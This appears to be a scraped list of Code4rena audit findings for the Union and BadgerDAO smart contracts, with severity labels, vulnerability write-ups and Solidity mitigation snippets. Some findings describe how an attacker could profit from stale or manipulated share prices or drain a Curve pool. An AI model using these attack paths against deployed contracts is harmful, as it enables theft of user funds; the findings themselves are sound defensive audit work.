{"title": "AssetManager: Deposit() function has redundant continue statement.", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "AssetManager: Deposit() function has redundant continue statement."}, {"title": "debtWriteOff updates totalFrozen immaturely, thereby losing staker rewards", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "debtWriteOff updates totalFrozen immaturely, thereby losing staker rewards"}, {"title": "For Loops Need Break Statements (UserManager.sol)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact There is no need to keep iterating through a loop for the full length once the condition being searched for is met. This will save gas. ## Proof of Concept The loops are here: https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/user/UserManager.sol#L436-L441 https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/user/UserManager.sol#L444-L449 https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/user/UserManager.sol#L479-L485 https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/user/UserManager.sol#L488-L495 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add a \"break\" statement to the loops mentioned above. Note also that there are unnecessary default value initializations of variables associated with the loops. "}, {"title": "Function getFrozenCoinAge Can Be Made More Efficient (UserManager.sol)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Function getFrozenCoinAge Can Be Made More Efficient (UserManager.sol)"}, {"title": "stake function in UserManager checks for allowance, which is also done in ERC20 transferFrom", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "stake function in UserManager checks for allowance, which is also done in ERC20 transferFrom"}, {"title": "Function checkIsOverDue Can Be Made More Efficient (UToken.sol)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Function checkIsOverDue Can Be Made More Efficient (UToken.sol)"}, {"title": "Functions TotalSupplyView/TotalSupply Can Be Made More Efficient (AssetManager.sol)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Functions TotalSupplyView/TotalSupply Can Be Made More Efficient (AssetManager.sol)"}, {"title": "Change in interest rate can disable repay of loan", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The ability of a borrower to repay a loan is disabled if the interest rate is set too high by the `InterestRateModel`. However, there is neither a check when setting the interest rate nor an indication in the `IInterestRateModel`'s specs of this behavior. But this issue could also be used in an adversarial fashion by the `FixedInterestRateModel`-owner if he/she would disable the repay functionality for some time and enables it at a later point again with the demand of a higher interest to be paid by the borrower. ## Proof of Concept If an account wants to repay a loan, the function `UToken::_repayBorrowFresh()` is used. This function calls `UToken::accrueInterest()` ([line](https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L465) 465) which fetches the current borrow rate of the interest rate model ([line](https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L546) 546 and [line](https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L330) 330). The function `UToken::borrowRatePerBlock()` requires an not \"absurdly high\" rate, or fails otherwise ([line](https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/UToken.sol#L331) 331). However, there is no check or indicator in `FixedInterestRateModel.sol` to prevent the owner to set such a high rate that effectively disables repay of borrowed funds ([line](https://github.com/code-423n4/2021-10-union/blob/main/contracts/market/FixedInterestRateModel.sol#L36) 36). ## Recommended Mitigation Steps Disallow setting the interest rate too high with a check in `FixedInterestRateModel::setInterestRate()`. "}, {"title": "Inconsistent use of `UToken::getLastRepay()`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/20", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "Inconsistent use of `UToken::getLastRepay()`"}, {"title": "Inconsistent use of `UToken::getBorrowed()`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/19", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "Inconsistent use of `UToken::getBorrowed()`"}, {"title": "Unneeded Named Returns (UToken.sol)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/18", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "Unneeded Named Returns (UToken.sol)"}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Long Revert Strings"}, {"title": "Tautologies in require statements", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Tautologies in require statements"}, {"title": "Missing events for owner only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "Missing events for owner only functions that change critical parameters"}, {"title": "Improper Upper Bound Definition on the New Member Fee ", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/13", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-10-union-findings", "body": "Improper Upper Bound Definition on the New Member Fee "}, {"title": "User Fund loss in case of Unsupported Market token deposit", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/9", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "User Fund loss in case of Unsupported Market token deposit"}, {"title": "Duplicate utoken and usermanager can be added which cannot be deleted", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/8", "labels": ["bug", "2 (Med Risk)"], "target": "2021-10-union-findings", "body": "Duplicate utoken and usermanager can be added which cannot be deleted"}, {"title": "Overusage of gas due to non needed loop", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Overusage of gas due to non needed loop"}, {"title": "setHalfDecayPoint check allowed values", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setHalfDecayPoint allows setting an arbitrary value of halfDecayPoint. However if halfDecayPoint == 0 then inflationPerBlock will have a division by 0. Probably it is also useful to have an upper limit for halfDecayPoint. ## Proof of Concept https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/token/Comptroller.sol#L67-L69 https://github.com/code-423n4/2021-10-union/blob/4176c366986e6d1a6b3f6ec0079ba547b040ac0f/contracts/token/Comptroller.sol#L275-L278 ## Tools Used ## Recommended Mitigation Steps In the function setHalfDecayPoint: Verify that the new value of halfDecayPoint is within an allowable range ( certainly != 0) "}, {"title": "MAX_TRUST_LIMIT might be too high", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/5", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "MAX_TRUST_LIMIT might be too high"}, {"title": "Zero-address checks are missing", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/3", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "Zero-address checks are missing"}, {"title": "Governor contract is not matching Contract source", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-union-findings", "body": "Governor contract is not matching Contract source"}, {"title": "Use Minimal Interface for gas optimizations", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2021-10-badgerdao-findings", "body": "Use Minimal Interface for gas optimizations"}, {"title": "Null check in pricePerShare", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle hack3r-0m # Vulnerability details https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L73 https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtc.sol#L123 oracle can `0` as a price of the share, in that case, 0 will be the denominator in some calculations which can cause reverts from SafeMath (for e.g here: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtc.sol#L148 ) resulting in Denial Of Service. Add a null check to ensure that on every update, the price is greater than 0. "}, {"title": "WrappedIbbtc and WrappedIbbtcEth contracts do not filter out price feed outliers", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/87", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle hyh # Vulnerability details ## Impact If price feed is manipulated in any way or there is any malfunction based volatility on the market, both contracts will pass it on a user. In the same time it's possible to construct mitigation mechanics for such cases, so user economics be affected by sustainable price movements only. As price outrages provide a substantial attack surface for the project it's worth adding some complexity to the implementation. ## Proof of Concept In WrappedIbbtcEth pricePerShare variable is updated by externally run updatePricePerShare function, https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L72, and then used in mint/burn/transfer functions without additional checks via balanceToShares function: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L155. In WrappedIbbtc price is requested via pricePerShare function, https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtc.sol#L123, and used in the same way without additional checks via balanceToShares function, https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtc.sol#L147. ## Recommended Mitigation Steps Introduce minting/burning query that runs on schedule, separating user funds contribution and actual mint/burn. With user deposit or burn the corresponding action to be added to commitment query, which execution for mint or redeem will later be sparked by off-chain script according to fixed schedule. This also can be open to public execution with gas compensation incentive, for example as it's done in Tracer protocol: https://github.com/tracer-protocol/perpetual-pools-contracts/blob/develop/contracts/implementation/PoolKeeper.sol#L131 Full code of an implementation is too big to include it in the report, but viable versions are available publicly (Tracer protocol version can be found at the same repo, https://github.com/tracer-protocol/perpetual-pools-contracts/blob/develop/contracts/implementation/PoolCommitter.sol). Once the scheduled mint/redeem query is added, the additional logic to control for price outliers will become possible there, as in this case mint/redeem execution can be conditioned to happen on calm market only, where various definitions of calm can be implemented. One of the approaches is to keep track of recent prices and require that new price each time be within a threshold from median of their array. Example: // Introduce small price tracking arrays: uint256[] private times; uint256[] private prices; // Current position in array uint8 curPos; // Current length, grows from 0 to totalMaxPos as prices are being added uint8 curMaxPos; // Maximum length, we track up to totalMaxPos prices uint8 totalMaxPos = 10; // Price movement threshold uint256 moveThreshold = 0.1*1e18; We omit the full implementation here as it is lengthy enough and can vary. The key steps are: * Run query for scheduled mint/redeem with logic: if next price is greater than median of currently recorded prices by threshold, add it to the records, but do not mint/redeem. * That is, when scheduled mint/redeem is run, on new price request, WrappedIbbtcEth.core.pricePerShare() or WrappedIbbtc.oracle.pricePerShare(), get newPrice and calculate current price array median, curMed * prices[curPos] = newPrice * if (curMaxPos < totalMaxPos) {curMaxPos += 1} * if (curPos == curMaxPos) {curPos = 0} else {curPos += 1} * if (absolute_value_of(newPrice - curMed) < moveThreshold * curMed / 1e18) {do_mint/redeem; return_0_status} * else {return_1_status} Schedule should be frequent enough, say once per 30 minutes, which is kept while returned status is 0. While threshold condition isn't met and returned status is 1, it runs once per 10 minutes. The parameters here are subject to calibration. This way if the price movement is sustained the mint/redeem happens after price array median comes to a new equilibrium. If price reverts, the outbreak will not have material effect mint/burn operations. This way the contract vulnerability is considerably reduced as attacker would need to keep distorted price for period long enough, which will happen after the first part of deposit/withdraw cycle. I.e. deposit and mint, burn and redeem operations will happen not simultaneously, preventing flash loans to be used to elevate the quantities, and for price to be effectively distorted it would be needed to keep it so for substantial amount of time. "}, {"title": "WrappedIbbtcEth contract will use stalled price for mint/burn if updatePricePerShare wasn't run properly", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/86", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle hyh # Vulnerability details ## Impact Malicious user can monitor SetPricePerShare event and, if it was run long enough time ago and market moved, but, since there were no SetPricePerShare fired, the contract's pricePerShare is outdated, so a user can mint() with pricePerShare that is current for contract, but outdated for market, then wait for price update and burn() with updated pricePerShare, yielding risk-free profit at expense of contract holdings. ## Proof of Concept WrappedIbbtcEth updates pricePerShare variable by externally run updatePricePerShare function. The variable is then used in mint/burn/transfer functions without any additional checks, even if outdated/stalled. This can happen if the external function wasn't run for any reason. The variable is used via balanceToShares function: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L155 This is feasible as updatePricePerShare to be run by off-chain script being a part of the system, and malfunction of this script leads to contract exposure by stalling the price. The malfunction can happen both by internal reasons (bugs) and by external ones (any system-level dependencies, network outrages). updatePricePerShare function: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L72 ## Recommended Mitigation Steps The risk comes with system design. Wrapping price updates with contract level variable for gas costs minimization is a viable approach, but it needs to be paired with corner cases handling. One of the ways to reduce the risk is as follows: Introduce a threshold variable for maximum time elapsed since last pricePerShare update to WrappedIbbtcEth contract. Then 2 variants of transferFrom and transfer functions can be introduced, both check condition {now - time since last price update < threshold}. If condition holds both variants do the transfer. If it doesn't the first variant reverts, while the second do costly price update. I.e. it will be cheap transfer, that works only if price is recent, and full transfer, that is similar to the first when price is recent, but do price update on its own when price is stalled. This way this full transfer is guaranteed to run and is usually cheap, costing more if price is stalled and it does the update. After this whenever scheduled price update malfunctions (for example because of network conditions), the risk will be limited by market volatility during threshold time at maximum, i.e. capped. Example code: // Added threshold uint256 public pricePerShare; uint256 public lastPricePerShareUpdate; uint256 public priceUpdateThreshold; event SetPriceUpdateThreshold(uint256 priceUpdateThreshold); /// ===== Permissioned: Price update threshold ===== function setPriceUpdateThreshold(uint256 _priceUpdateThreshold) external onlyGovernance { priceUpdateThreshold = _priceUpdateThreshold; emit SetPriceUpdateThreshold(priceUpdateThreshold); } // The only difference with current transfer code is that Full versions call balanceToSharesFull function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { uint256 amountInShares = balanceToShares(amount); _transfer(sender, recipient, amountInShares); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amountInShares, \"ERC20: transfer amount exceeds allowance\")); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { uint256 amountInShares = balanceToShares(amount); _transfer(_msgSender(), recipient, amountInShares); return true; } function transferFromFull(address sender, address recipient, uint256 amount) public virtual override returns (bool) { uint256 amountInShares = balanceToSharesFull(amount); _transfer(sender, recipient, amountInShares); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amountInShares, \"ERC20: transfer amount exceeds allowance\")); return true; } function transferFull(address recipient, uint256 amount) public virtual override returns (bool) { uint256 amountInShares = balanceToSharesFull(amount); _transfer(_msgSender(), recipient, amountInShares); return true; } // Now balanceToShares first checks if the price is stale // And reverts if it is // While balanceToSharesFull do the same check // But asks for price instead of reverting // Having guaranteed execution with increased costs sometimes // Which is fully deterministic, as user can track SetPricePerShare event // To understand whether it be usual or increased gas cost if the function be called now function balanceToShares(uint256 balance) public view returns (uint256) { require(block.timestamp < lastPricePerShareUpdate + priceUpdateThreshold, \"Price is stalled\"); return balance.mul(1e18).div(pricePerShare); } function balanceToSharesFull(uint256 balance) public view returns (uint256) { if (block.timestamp >= lastPricePerShareUpdate + priceUpdateThreshold) { updatePricePerShare(); } return balance.mul(1e18).div(pricePerShare); } "}, {"title": "In updatePricePerShare() no value is returned", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "In updatePricePerShare() no value is returned"}, {"title": "use of depreciated \"now\" ", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact In updatePricePerShare() instead of \"block.timestamp\" , \"now\" is used which is deprciated. \"block.timestamp\" is way more explicit in showing the intent while \"now\" relates to the timestamp of the block controlled by the miner more on this -> https://github.com/ethereum/solidity/issues/4020 ## Tools Used manual review ## Recommended Mitigation Steps use block.timestamp "}, {"title": "Check if amount is not zero", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pauliax # Vulnerability details ## Impact functions mint, burn, transfer and transferFrom could skip other steps if the amount is 0. "}, {"title": "Immutable variable", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/81", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "Immutable variable"}, {"title": "onlyOracle never used", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pauliax # Vulnerability details ## Impact modifier onlyOracle in WrappedIbbtc is never used, so can be removed to reduce deployment gas costs. "}, {"title": "ICore import", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pauliax # Vulnerability details ## Impact You import ICore interface but actually need only one function from it: pricePerShare(). Consider importing a minimal ICore interface with only the functions that you actually use to reduce deployment gas costs. Or you can just simply re-use ICoreOracle. "}, {"title": " modified _balances in OZ contract ", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-10-badgerdao-findings", "body": " modified _balances in OZ contract "}, {"title": "Consider making contracts Pausable", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/76", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are many external risks (mentioned https://github.com/code-423n4/2021-10-badgerdao#risks) so my suggestion is that you should consider making the contracts pausable, so in case of an unexpected event, the governance can pause transfers. ## Recommended Mitigation Steps Consider making contracts Pausable https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol "}, {"title": "pendingGovernance and Governace address can be same", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact when pendingGovernance call acceptPendingGovernance() , governance value get updated but pendingGovernance remain same its not updated to address(0) governance = pendingGovernance; due to which pendingGovernace and Governace share same address which should not happen ## Tools Used manual review ## Recommended Mitigation Steps update pendingGovernance to address(0) "}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "use of floating pragma"}, {"title": "PREVENT DIV BY 0", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle defsec # Vulnerability details ## Impact On several locations in the code precautions are taken not to divide by 0, because this will revert the code. However on some locations this isn\u2019t done. Especially in the balanceToShares function div(pricePerShare) which isn\u2019t checked. That will cause to revert on the transfer and transferFrom function. Oracle pricePerShare variable should be cheked on the balance calculation. ## Proof of Concept 1. Navigate to the following contracts, \"https://github.com/code-423n4/2021-10-badgerdao/blob/9d4734becebd729299f154c0cfa1d3a7f06cccfb/contracts/WrappedIbbtcEth.sol#L156\" \"https://github.com/code-423n4/2021-10-badgerdao/blob/9d4734becebd729299f154c0cfa1d3a7f06cccfb/contracts/WrappedIbbtc.sol#L148\" 2. If oracle fails, the pricePerShare variable will be equal to zero therefore div by zero will occur. ## Tools Used Review ## Recommended Mitigation Steps Recommend making sure division by 0 won\u2019t occur by checking the variables beforehand and handling this edge case. "}, {"title": "Deprecated Function Usage", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle defsec # Vulnerability details ## Impact After pragma version, 0.7.0, the contract should use block.timestamp. ## Proof of Concept 1. Navigate to the following contract. \"https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DexHandlers/UniswapHandler.sol#L153\" \"https://github.com/code-423n4/2021-11-malt/blob/d3f6a57ba6694b47389b16d9d0a36a956c5e6a94/src/contracts/DexHandlers/UniswapHandler.sol#L178\" 2. Now is used instead of block.timestamp. ## Tools Used None ## Recommended Mitigation Steps It is recommended to use block.timestamp instead of now. "}, {"title": "No sanity check on pricePerShare might lead to lost value", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle kenzo # Vulnerability details pricePerShare is read either from an oracle or from ibBTC's core. If one of these is bugged or exploited, there are no safety checks to prevent loss of funds. ## Impact As pricePerShare is used to calculate transfer amount, a bug or wrong data which returns smaller pricePerShare than it really is could result in drainage of wibbtc from Curve pool. ## Proof of Concept Curve's swap and remove liquidity functions will both call wibbtc's `transfer` function: https://etherscan.io/address/0xFbdCA68601f835b27790D98bbb8eC7f05FDEaA9B#code%23L790 https://etherscan.io/address/0xFbdCA68601f835b27790D98bbb8eC7f05FDEaA9B#code%23L831 The `transfer` function calculates the amount to send by calling `balanceToShares`: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L127 `balanceToShares` calculates the shares (=amount to send) by dividing in `pricePerShare`: https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtcEth.sol#L156 Therefore, if due to a bug or exploit in ibBTC core / the trusted oracle pricePerShare is smaller than it really is, the amount that will be sent will grow larger. So Curve will send to the user/exploiter doing swap/remove liquidity more tokens that he deserves. ## Tools Used Manual analysis, hardhat ## Recommended Mitigation Steps Add sanity check: pricePerShare should never decrease but only increase with time (as ibbtc accrues interest) (validated with DefiDollar team). This means that on every pricePerShare read/update, if the new pricePerShare is smaller than the current one, we can discard the update as bad data. This will prevent an exploiter from draining Curve pool's wibbtc reserves by decreasing pricePerShare. "}, {"title": "The design of `wibBTC` is not fully compatible with the current Curve StableSwap pool", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/65", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details Per the documentation, `wibBTC` is designed for a Curve StableSwap pool. However, the design of `wibBTC` makes the balances change dynamically and automatically. This is unusual for an ERC20 token, and it's not fully compatible with the current Curve StableSwap pool. Specifically, a Curve StableSwap pool will maintain the balances of its `coins` based on the amount of tokens added, removed, and exchanged each time. In another word, it can not adopt the dynamic changes of the balances that happened automatically. The pool's actual dynamic balance of `wibBTC` will deviate from the recorded balance in the pool contract as the `pricePerShare` increases. Furthermore, there is no such way in Curve StableSwap similar to the `sync()` function of UNI v2, which will force sync the stored `reserves` to match the balances. ### PoC Given: - The current `pricePerShare` is: `1`; - The Curve pool is newly created with 0 liquidity; 1. Alice added `100 wibBTC` and `100 wBTC` to the Curve pool; Alice holds 100% of the pool; 2. After 1 month with no activity (no other users, no trading), and the `pricePerShare` of `ibBTC` increases to `1.2`; 3. Alice removes all the liquidity from the Curve pool. While it's expected to receive `150 wibBTC` and `100 wBTC`, Alice actually can only receive `100 wibBTC` and `100 wBTC`. ### Recommendation Consider creating a revised version of the Curve StableSwap contract that can handle dynamic balances properly. "}, {"title": "Redundant use of `virtual`", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details Based on the context, the functions listed below are not expected to be overridden, thus the use of the keyword `virtual` is redundant. - transfer() - updatePricePerShare() - transferFrom() - pricePerShare() ### Recommendation Consider removing `virtual` for these functions. "}, {"title": "The `value` parameter of the `Transfer` event is wrong", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-badgerdao-findings", "body": "The `value` parameter of the `Transfer` event is wrong"}, {"title": "`updatePricePerShare` should be run atomically with `setCore()` to make sure `pricePerShare` is up-to-date with the new Core", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details Given that `setCore()` could potentially lead to a change of `pricePerShare`, and `pricePerShare` will not be updated until `updatePricePerShare()` is called separately. To ensure `pricePerShare` is up-to-date, `updatePricePerShare` should be run atomically with `setCore()`. ### Recommendation Consider changing `setCore()` to: ```solidity function setCore(address _core) external onlyGovernance { core = ICore(_core); updatePricePerShare(); emit SetCore(_core); } ``` "}, {"title": "Critical changes should use two-step procedure", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "Critical changes should use two-step procedure"}, {"title": "Avoid unnecessary external calls and storage writes can save gas", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtcEth.sol#L69-L77 ```solidity /// @dev Update live ibBTC price per share from core /// @dev We cache this to reduce gas costs of mint / burn / transfer operations. /// @dev Update function is permissionless, and must be updated at least once every X time as a sanity check to ensure value is up-to-date function updatePricePerShare() public virtual returns (uint256) { pricePerShare = core.pricePerShare(); lastPricePerShareUpdate = now; emit SetPricePerShare(pricePerShare, lastPricePerShareUpdate); } ``` Per the comment above `function updatePricePerShare()`, `updatePricePerShare()` may get called quite often when `wibBTC` token is being used more often. There could potentially be multiple calls to `updatePricePerShare()` in one block. In that case, checking if `pricePerShare` was updated earlier in the same block can save some gas from unnecessary external calls and storage writes. ### Recommendation Change to: ```solidity function updatePricePerShare() public virtual returns (uint256) { if (lastPricePerShareUpdate < now) { pricePerShare = core.pricePerShare(); lastPricePerShareUpdate = now; emit SetPricePerShare(pricePerShare, lastPricePerShareUpdate); } } ``` "}, {"title": "Constants are not explicitly declared", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details It's a best practice to use constant variables rather than literal values to make the code easier to understand and maintain. Consider defining a constant variable for the literal value used and giving it a clear and self-explanatory name. Instances include: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L82-L82 ```solidity require(duration <= uint256(18250 days), \"INVALID_DURATION\"); ``` Consider changing `uint256(18250 days)` to `MAX_DURATION` constant. "}, {"title": "Consider removing `ICore.sol`", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details Most of the interfaces defined in `ICore.sol` are unused. The only method used is `pricePerShare()` which is identical to `ICoreOracle.sol#pricePerShare()`. Therefore, `ICore.sol` can be removed and replaced by `ICoreOracle.sol`. "}, {"title": "Consider caching `pricePerShare` for `WrappedIbbtc.sol` to save gas", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details The current implementation of `WrappedIbbtc.sol` will do an external call `oracle.pricePerShare()` every time `pricePerShare` is used, it can be gas consuming considering that the basic features include: `balanceOf()`, `transfer()`, `transferFrom()` will be used very often. ### Recommendation Consider caching `pricePerShare` in storage. "}, {"title": "Inconsistent use of `_msgSender()`", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details `msg.sender` vs internal call of `_msgSender()`. 